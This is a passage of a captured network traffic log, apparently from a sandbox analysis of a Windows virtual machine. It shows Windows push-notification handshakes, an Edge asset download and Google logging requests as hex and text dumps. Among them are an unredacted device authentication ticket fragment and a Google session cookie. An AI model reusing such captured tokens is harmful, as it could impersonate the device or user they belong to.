2024-07-26 08:37:42 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:37:42 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 46 6c 49 6f 34 62 69 38 57 30 75 4d 64 4d 72 53 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 31 62 65 32 66 31 37 36 62 31 34 33 65 34 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: FlIo4bi8W0uMdMrS.2Context: f1be2f176b143e41<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZl
2024-07-26 08:37:42 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 46 6c 49 6f 34 62 69 38 57 30 75 4d 64 4d 72 53 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 31 62 65 32 66 31 37 36 62 31 34 33 65 34 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: FlIo4bi8W0uMdMrS.3Context: f1be2f176b143e41<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:37:42 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:37:42 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 68 33 48 2f 53 4a 51 64 6b 30 4f 71 50 79 57 65 55 6c 79 51 72 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: h3H/SJQdk0OqPyWeUlyQrQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49924	13.107.246.40	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:47 UTC	478	OUT	GET /assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: ProductCategories Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:48 UTC	559	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:37:48 GMT Content-Type: application/octet-stream Content-Length: 82989 Connection: close Last-Modified: Thu, 25 May 2023 20:28:02 GMT ETag: 0x8DB5D5E89CE25EB x-ms-request-id: 4aa37a84-501e-0056-03f9-de8077000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240726T083748Z-15c77d89844q4cm8cku5zzk60s00000001ag00000000adbf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-26 08:37:48 UTC	15825	IN	Data Raw: 0a 22 08 f2 33 12 1d 0a 0c 43 61 72 20 26 20 47 61 72 61 67 65 12 0d 42 65 6c 74 73 20 26 20 48 6f 73 65 73 0a 23 08 d7 2b 12 1e 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 09 41 69 72 20 50 75 6d 70 73 0a 21 08 b8 22 12 1c 0a 0c 43 61 72 20 26 20 47 61 72 61 67 65 12 0c 42 6f 64 79 20 53 74 79 6c 69 6e 67 0a 34 08 c3 35 12 2f 0a 18 47 6f 75 72 6d 65 74 20 46 6f 6f 64 20 26 20 43 68 6f 63 6f 6c 61 74 65 12 13 53 70 69 63 65 73 20 26 20 53 65 61 73 6f 6e 69 6e 67 73 0a 27 08 a4 2c 12 22 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 0d 53 6c 65 65 70 69 6e 67 20 47 65 61 72 0a 21 08 f5 36 12 1c 0a 0d 4c 61 77 6e 20 26 20 47 61 72 64 65 6e 12 0b 48 79 64 72 6f 70 6f 6e 69 63 73 0a 39 08 61 12 35 0a 11 42 6f 6f 6b 73 20 26 20 4d Data Ascii: "3Car & GarageBelts & Hoses#+Sports & OutdoorsAir Pumps!"Car & GarageBody Styling45/Gourmet Food & ChocolateSpices & Seasonings',"Sports & OutdoorsSleeping Gear!6Lawn & GardenHydroponics9a5Books & M
2024-07-26 08:37:48 UTC	16384	IN	Data Raw: 69 64 65 6f 20 47 61 6d 65 73 12 1b 4e 69 6e 74 65 6e 64 6f 20 53 79 73 74 65 6d 20 41 63 63 65 73 73 6f 72 69 65 73 0a 20 08 a2 26 12 1b 0a 10 54 6f 6f 6c 73 20 26 20 48 61 72 64 77 61 72 65 12 07 54 6f 69 6c 65 74 73 0a 2c 08 f3 28 12 27 0a 14 4b 69 74 63 68 65 6e 20 26 20 48 6f 75 73 65 77 61 72 65 73 12 0f 45 6c 65 63 74 72 69 63 20 4d 69 78 65 72 73 0a 21 08 c0 32 12 1c 0a 04 54 6f 79 73 12 14 53 61 6e 64 62 6f 78 20 26 20 42 65 61 63 68 20 54 6f 79 73 0a 35 08 a5 25 12 30 0a 18 47 6f 75 72 6d 65 74 20 46 6f 6f 64 20 26 20 43 68 6f 63 6f 6c 61 74 65 12 14 53 65 61 66 6f 6f 64 20 43 6f 6d 62 69 6e 61 74 69 6f 6e 73 0a 24 08 d7 27 12 1f 0a 10 48 6f 6d 65 20 46 75 72 6e 69 73 68 69 6e 67 73 12 0b 43 61 6b 65 20 53 74 61 6e 64 73 0a 2e 08 a4 28 12 29 0a Data Ascii: ideo GamesNintendo System Accessories &Tools & HardwareToilets,('Kitchen & HousewaresElectric Mixers!2ToysSandbox & Beach Toys5%0Gourmet Food & ChocolateSeafood Combinations$'Home FurnishingsCake Stands.()
2024-07-26 08:37:48 UTC	16384	IN	Data Raw: 26 20 47 61 72 61 67 65 12 1c 44 72 69 76 65 77 61 79 20 26 20 47 61 72 61 67 65 20 46 6c 6f 6f 72 20 43 61 72 65 0a 25 08 f0 2a 12 20 0a 0f 4f 66 66 69 63 65 20 50 72 6f 64 75 63 74 73 12 0d 50 61 70 65 72 20 50 75 6e 63 68 65 73 0a 2d 08 c1 2c 12 28 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 13 42 69 63 79 63 6c 65 20 41 63 63 65 73 73 6f 72 69 65 73 0a 22 08 a2 27 12 1d 0a 10 48 6f 6d 65 20 46 75 72 6e 69 73 68 69 6e 67 73 12 09 4e 6f 76 65 6c 74 69 65 73 0a 16 08 f3 29 12 11 0a 05 4d 75 73 69 63 12 08 45 78 65 72 63 69 73 65 0a 22 08 8e 31 12 1d 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 08 53 77 69 6d 6d 69 6e 67 0a 26 08 d4 21 12 21 0a 12 42 65 61 75 74 79 20 26 20 46 72 61 67 72 61 6e 63 65 12 0b 4d 61 6b 65 75 70 Data Ascii: & GarageDriveway & Garage Floor Care%* Office ProductsPaper Punches-,(Sports & OutdoorsBicycle Accessories"'Home FurnishingsNovelties)MusicExercise"1Sports & OutdoorsSwimming&!!Beauty & FragranceMakeup
2024-07-26 08:37:48 UTC	16384	IN	Data Raw: 6f 63 6b 20 50 61 72 74 73 0a 1b 08 be 29 12 16 0a 0d 4c 61 77 6e 20 26 20 47 61 72 64 65 6e 12 05 42 75 6c 62 73 0a 21 08 a3 21 12 1c 0a 12 42 65 61 75 74 79 20 26 20 46 72 61 67 72 61 6e 63 65 12 06 4d 61 6b 65 75 70 0a 2d 08 49 12 29 0a 11 42 6f 6f 6b 73 20 26 20 4d 61 67 61 7a 69 6e 65 73 12 14 42 75 73 69 6e 65 73 73 20 26 20 45 63 6f 6e 6f 6d 69 63 73 0a 23 08 d5 23 12 1e 0a 09 43 6f 6d 70 75 74 69 6e 67 12 11 45 78 70 61 6e 73 69 6f 6e 20 4d 6f 64 75 6c 65 73 0a 2f 08 a2 24 12 2a 0a 0b 45 6c 65 63 74 72 6f 6e 69 63 73 12 1b 43 44 20 50 6c 61 79 65 72 73 20 26 20 53 74 65 72 65 6f 20 53 79 73 74 65 6d 73 0a 1f 08 d4 26 12 1a 0a 10 48 6f 6d 65 20 46 75 72 6e 69 73 68 69 6e 67 73 12 06 51 75 69 6c 74 73 0a 22 08 86 23 12 1d 0a 10 43 6c 6f 74 68 69 6e Data Ascii: ock Parts)Lawn & GardenBulbs!!Beauty & FragranceMakeup-I)Books & MagazinesBusiness & Economics##ComputingExpansion Modules/$*ElectronicsCD Players & Stereo Systems&Home FurnishingsQuilts"#Clothin
2024-07-26 08:37:48 UTC	16384	IN	Data Raw: 65 72 73 0a 27 08 a6 2c 12 22 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 0d 53 6c 65 65 70 69 6e 67 20 42 61 67 73 0a 24 08 bd 21 12 1f 0a 12 42 65 61 75 74 79 20 26 20 46 72 61 67 72 61 6e 63 65 12 09 46 72 61 67 72 61 6e 63 65 0a 28 08 63 12 24 0a 11 42 6f 6f 6b 73 20 26 20 4d 61 67 61 7a 69 6e 65 73 12 0f 4d 75 73 69 63 20 4d 61 67 61 7a 69 6e 65 73 0a 1e 08 8a 2b 12 19 0a 0f 4f 66 66 69 63 65 20 50 72 6f 64 75 63 74 73 12 06 52 75 6c 65 72 73 0a 2d 08 a9 33 12 28 0a 09 43 6f 6d 70 75 74 69 6e 67 12 1b 50 72 69 6e 74 65 72 20 50 61 72 74 73 20 26 20 41 74 74 61 63 68 6d 65 6e 74 73 0a 27 08 ef 23 12 22 0a 09 43 6f 6d 70 75 74 69 6e 67 12 15 54 68 69 6e 20 43 6c 69 65 6e 74 20 43 6f 6d 70 75 74 65 72 73 0a 37 08 bc 24 12 32 0a 0b 45 6c Data Ascii: ers',"Sports & OutdoorsSleeping Bags$!Beauty & FragranceFragrance(c$Books & MagazinesMusic Magazines+Office ProductsRulers-3(ComputingPrinter Parts & Attachments'#"ComputingThin Client Computers7$2El
2024-07-26 08:37:48 UTC	1628	IN	Data Raw: 0b 44 56 44 20 50 6c 61 79 65 72 73 0a 34 08 dc 36 12 2f 0a 0c 43 61 72 20 26 20 47 61 72 61 67 65 12 1f 53 6e 6f 77 6d 6f 62 69 6c 65 20 26 20 41 54 56 20 53 6b 69 73 20 26 20 52 75 6e 6e 65 72 73 0a 23 08 a2 21 12 1e 0a 12 42 65 61 75 74 79 20 26 20 46 72 61 67 72 61 6e 63 65 12 08 54 77 65 65 7a 65 72 73 0a 30 08 8e 33 12 2b 0a 0c 50 65 74 20 53 75 70 70 6c 69 65 73 12 1b 50 65 74 20 48 61 62 69 74 61 74 20 26 20 43 61 67 65 20 53 75 70 70 6c 69 65 73 0a 29 08 d4 23 12 24 0a 09 43 6f 6d 70 75 74 69 6e 67 12 17 44 69 67 69 74 61 6c 20 4d 65 64 69 61 20 52 65 63 65 69 76 65 72 73 0a 2a 08 f3 2b 12 25 0a 11 53 70 6f 72 74 73 20 26 20 4f 75 74 64 6f 6f 72 73 12 10 42 6f 61 74 20 4d 61 69 6e 74 65 6e 61 6e 63 65 0a 22 08 d7 26 12 1d 0a 10 48 6f 6d 65 20 46 Data Ascii: DVD Players46/Car & GarageSnowmobile & ATV Skis & Runners#!Beauty & FragranceTweezers03+Pet SuppliesPet Habitat & Cage Supplies)#$ComputingDigital Media Receivers*+%Sports & OutdoorsBoat Maintenance"&Home F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49933	172.217.18.14	443	5944	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:49 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-26 08:37:49 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Fri, 26 Jul 2024 08:37:49 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49938	172.217.18.14	443	5944	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:50 UTC	1097	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 641 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-26 08:37:50 UTC	641	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 32 31 39 38 33 30 34 37 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[4,0,0,0,0]]],558,[["1721983047000",null,null,null,
2024-07-26 08:37:50 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=516=GWz4YOCOhNYSpnxUcdzz8LOdui-P7aXykgPJBwVUIowf1kQXmYByecZvMlpIaef12thJ6lUxdNG_X2FfRLWPsiBl8wKN0yZH7MmvZGzh-AMOhzy6WJHU780KS6r9lmNWdPVrWU6b_4jjsYN5B0dfyykpHJQW1A8O8esheEGjFz8; expires=Sat, 25-Jan-2025 08:37:50 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 26 Jul 2024 08:37:50 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 26 Jul 2024 08:37:50 GMT Connection: close Transfer-Encoding: chunked
2024-07-26 08:37:50 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-26 08:37:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	50019	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:38:14 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 31 65 72 4b 33 70 63 77 57 6b 71 42 6c 51 4b 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 65 39 38 62 31 36 39 62 38 35 65 61 31 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 1erK3pcwWkqBlQKb.1Context: ece98b169b85ea1f
2024-07-26 08:38:14 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:38:14 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 31 65 72 4b 33 70 63 77 57 6b 71 42 6c 51 4b 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 65 39 38 62 31 36 39 62 38 35 65 61 31 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: 1erK3pcwWkqBlQKb.2Context: ece98b169b85ea1f<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZl
2024-07-26 08:38:14 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 31 65 72 4b 33 70 63 77 57 6b 71 42 6c 51 4b 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 65 39 38 62 31 36 39 62 38 35 65 61 31 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 1erK3pcwWkqBlQKb.3Context: ece98b169b85ea1f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:38:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:38:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 48 67 4e 6a 6e 77 56 30 45 6d 59 43 64 42 6e 4b 67 74 53 72 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +HgNjnwV0EmYCdBnKgtSrA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50025	23.200.0.42	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:38:17 UTC	442	OUT	OPTIONS /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Origin: https://business.bing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:38:17 UTC	357	IN	HTTP/1.1 429 Too Many Requests Content-Length: 23 Content-Type: text/html Date: Fri, 26 Jul 2024 08:38:17 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.2aac2d17.1721983097.d8fef14 Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-07-26 08:38:17 UTC	23	IN	Data Raw: 34 32 39 2e 36 30 38 20 54 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 Data Ascii: 429.608 TooManyRequests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	58931	172.217.18.14	443	5944	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
